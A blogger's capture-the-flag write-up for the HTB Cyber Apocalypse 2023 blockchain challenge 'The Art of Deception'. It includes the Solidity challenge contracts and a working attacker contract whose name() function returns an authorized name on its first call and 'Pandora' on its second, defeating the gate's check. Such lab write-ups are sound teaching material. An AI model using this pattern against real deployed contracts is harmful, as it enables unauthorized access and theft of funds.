CTF CA23: BLOCKCHAIN //The Art of Deception

Hey! Whats up?!, I quite went dark during my OSCP study so I wasn’t able to post updates here.
More updates on me later but for this post, I want to share a small CTF writeup!
This is a writeup for “The Art of Deception” in the Blockchain category of Cyber Apocalypse 2023

HTB CA2023

The Problem

I was given 2 files:

pragma solidity ^0.8.18;


interface Entrant {
    function name() external returns (string memory);
}

contract HighSecurityGate {
    
    string[] private authorized = ["Orion", "Nova", "Eclipse"];
    string public lastEntrant;

    function enter() external {
        Entrant _entrant = Entrant(msg.sender);

        require(_isAuthorized(_entrant.name()), "Intruder detected");
        lastEntrant = _entrant.name();
    }

    function _isAuthorized(string memory _user) private view returns (bool){
        for (uint i; i < authorized.length; i++){
            if (strcmp(_user, authorized[i])){
                return true;
            }
        }
        return false;
    }

    function strcmp(string memory _str1, string memory _str2) public pure returns (bool){
        return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2)); 
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Setup {
    HighSecurityGate public immutable TARGET;

    constructor() {
        TARGET = new HighSecurityGate();
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }
}

These smart contracts are pre-deployed in a local blockchain EVM.
The problem is simple. If the isSolved() function returns True then I passed the challenge.

Quite simple isn’t it? For experienced pentesters, yes this is quite easy, but for me, a novice, it’s kinda frustrating but rewarding.

The solution

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {HighSecurityGate} from "./FortifiedPerimeter.sol";

contract Solution {
    HighSecurityGate public immutable TARGET;

    string public myName;
    int public numOfCalls = 0;

    constructor(address _input) {
        TARGET = HighSecurityGate(_input);
    }

    function isSolved() public view returns (bool) {
        return TARGET.strcmp(TARGET.lastEntrant(), "Pandora");
    }

    function name() external returns (string memory){

        if(numOfCalls == 0){
            this.modifyName("Orion");
        }else{
            this.modifyName("Pandora");
        }

        numOfCalls++;
        return myName;
    }

    function modifyName(string memory _inputName) external{
        myName = _inputName;
    }

    function reset_numOfCalls() external{
        numOfCalls = 0;
    }

    function attack() external{
        TARGET.enter();
    }
}

So to carry out the attack, just execute the attack() function.

Some variable here are used in play:

  • myName – This is used as a storage variable that returns a name whenever name() is executed
  • numOfCalls – This is an incremental counter for the name() whenever it gets executed

Some functions are used in play too:

  • name() – This is a function that check if numOfCalls is equivalent to 0 then it updates the myName via modifyName() as “Orion”. Else if it is not equals to 0 then it will update as “Pandora”. It will also increment the numOfCalls. Finally, it will return the value of myName.
  • modifyName() – Updates the myName.
  • reset_numOfCalls() – resets the numOfCalls counter
  • attack() – calls the enter() function in the target contract

Okay, the logic is simple.

Entrant _entrant = Entrant(msg.sender);

The above code, typedef the caller to an interface. In our case, since an address doesn’t have function name() as referred in the Entrant interface then therefore the attack should be carried out by a contract and not directly from an address.

require(_isAuthorized(_entrant.name()), "Intruder detected");

Here, we can see that _entrant.name() is called. Therefore, getting the value of “Orion” (assuming that the numOfCalls is 0) and incrementing numOfCalls. The _isAuthorized will return true because “Orion” is a valid string as per listed in authorized array.

lastEntrant = _entrant.name();

We can see here another call to _entrant.name(). Therefore getting the value of “Pandora” (assuming that the numOfCalls is not 0) and assign it to lastEntrant.

Conclusion

Always check the calls to a contract instance. These attack might be used in a chained vector scenario.
For example, if contract A is calling to contract B, when the attacker hacked the contract B, he might use the contract B to pivot the attack to contract A.

That’s it folks! Thanks for reading!